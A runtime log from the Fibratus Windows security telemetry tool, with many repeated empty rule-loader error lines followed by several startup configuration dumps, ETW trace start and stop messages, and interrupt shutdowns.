source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:23+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: false + HasImageEvents: false + HasFileEvents: false + HasRegistryEvents: false + HasNetworkEvents: false + HasHandleEvents: false + HasMemEvents: false + HasVAMapEvents: false + HasAuditAPIEvents: false + HasDNSEvents: false + HasThreadpoolEvents: false + Events: CreateProcess source=bootstrap/bootstrap.go:206 +time=2025-11-06T16:58:24+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:271 +time=2025-11-06T16:58:24+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:271 +time=2025-11-06T16:59:37+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-06T16:59:37+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:287 +time=2025-11-06T16:59:37+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:287 +time=2025-11-06T16:59:48+01:00 level=info msg=bootstrapping with pid 16984. Version: dev source=bootstrap/bootstrap.go:166 +time=2025-11-06T16:59:48+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ slack=>[ enabled=>false] systray=>[ enabled=>false quiet-mode=>false sound=>true] mail=>[ to=>[] port=>25 use-template=>true enabled=>false content-type=>text/html] eventlog=>[ verbose=>true enabled=>true]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>false enable-direct-syscall=>true] + event .......................... [ serialize-handles=>false serialize-envs=>true serialize-threads=>false serialize-pe=>false serialize-images=>false] + eventsource .................... [ enable-vamap=>true stack-enrichment=>true enable-threadpool=>false enable-dns=>false flush-interval=>1s enable-registry=>true enable-thread=>true blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] enable-fileio=>true enable-audit-api=>true enable-handle=>false min-buffers=>16 enable-mem=>false enable-image=>true max-buffers=>36 buffer-size=>512 enable-net=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ match-all=>true macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] rules=>[ enabled=>true from-paths=>[C:\Fibratus\fibratus\rules\*.yml]]] + forward ........................ false + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ level=>info max-age=>0 formatter=>text max-backups=>15 log-stdout=>true max-size=>100] + output ......................... [ eventlog=>[ level=>info enabled=>false] http=>[ method=>POST timeout=>5s enabled=>false endpoints=>[] tls-insecure-skip-verify=>false enable-gzip=>false serializer=>json] amqp=>[ routing-key=>fibratus durable=>false timeout=>5s exchange=>fibratus vhost=>/ exchange-type=>topic passive=>false tls-insecure-skip-verify=>false url=>amqp://localhost:5672 enabled=>false delivery-mode=>transient] console=>[ enabled=>true format=>pretty template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Sid }} +] elasticsearch=>[ healthcheck-timeout=>5s trace-log=>false template-name=>fibratus timeout=>5s gzip-compression=>false sniff=>false healthcheck=>true bulk-workers=>1 flush-period=>1s enabled=>false index-name=>fibratus healthcheck-interval=>10s servers=>[http://127.0.0.1:9200]]] + pe ............................. [ read-resources=>false enabled=>false read-symbols=>false read-sections=>false excluded-images=>[svchost.exe]] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ remove=>[ enabled=>false params=>[]] replace=>[ enabled=>false] rename=>[ enabled=>false] tags=>[ enabled=>false] trim=>[ enabled=>false]] + yara ........................... [ skip-allocs=>false excluded-files=>[] excluded-procs=>[] skip-registry=>false skip-files=>false skip-mmaps=>false rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] enabled=>false scan-timeout=>10s fastscan=>true] source=bootstrap/bootstrap.go:167 +time=2025-11-06T16:59:48+01:00 level=info msg=connecting to the server... source=bootstrap/bootstrap.go:172 +time=2025-11-06T16:59:48+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: false + HasImageEvents: false + HasFileEvents: false + HasRegistryEvents: false + HasNetworkEvents: false + HasHandleEvents: false + HasMemEvents: false + HasVAMapEvents: false + HasAuditAPIEvents: false + HasDNSEvents: false + HasThreadpoolEvents: false + Events: CreateProcess source=bootstrap/bootstrap.go:206 +time=2025-11-06T16:59:48+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:271 +time=2025-11-06T16:59:48+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:271 +time=2025-11-06T17:02:46+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-06T17:02:46+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:287 +time=2025-11-06T17:02:46+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:287 +time=2025-11-06T17:03:07+01:00 level=info msg=bootstrapping with pid 13156. Version: dev source=bootstrap/bootstrap.go:166 +time=2025-11-06T17:03:07+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ systray=>[ enabled=>false quiet-mode=>false sound=>true] mail=>[ use-template=>true port=>25 to=>[] content-type=>text/html enabled=>false] slack=>[ enabled=>false] eventlog=>[ enabled=>true verbose=>true]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>false] + event .......................... [ serialize-envs=>true serialize-handles=>false serialize-images=>false serialize-threads=>false serialize-pe=>false] + eventsource .................... [ enable-net=>true enable-vamap=>true enable-mem=>false max-buffers=>36 enable-handle=>false enable-thread=>true enable-dns=>false enable-fileio=>true enable-image=>true enable-audit-api=>true stack-enrichment=>true flush-interval=>1s buffer-size=>512 enable-threadpool=>false min-buffers=>16 enable-registry=>true blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]]] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ enabled=>true from-paths=>[C:\Fibratus\fibratus\rules\*.yml]] match-all=>true macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]]] + forward ........................ false + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ max-size=>100 log-stdout=>true max-backups=>15 level=>info max-age=>0 formatter=>text] + output ......................... [ console=>[ format=>pretty template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Sid }} + enabled=>true] amqp=>[ tls-insecure-skip-verify=>false url=>amqp://localhost:5672 exchange=>fibratus vhost=>/ enabled=>false delivery-mode=>transient exchange-type=>topic routing-key=>fibratus durable=>false timeout=>5s passive=>false] elasticsearch=>[ template-name=>fibratus servers=>[http://127.0.0.1:9200] bulk-workers=>1 gzip-compression=>false healthcheck=>true sniff=>false flush-period=>1s trace-log=>false timeout=>5s index-name=>fibratus enabled=>false healthcheck-timeout=>5s healthcheck-interval=>10s] eventlog=>[ enabled=>false level=>info] http=>[ serializer=>json endpoints=>[] enable-gzip=>false method=>POST timeout=>5s enabled=>false 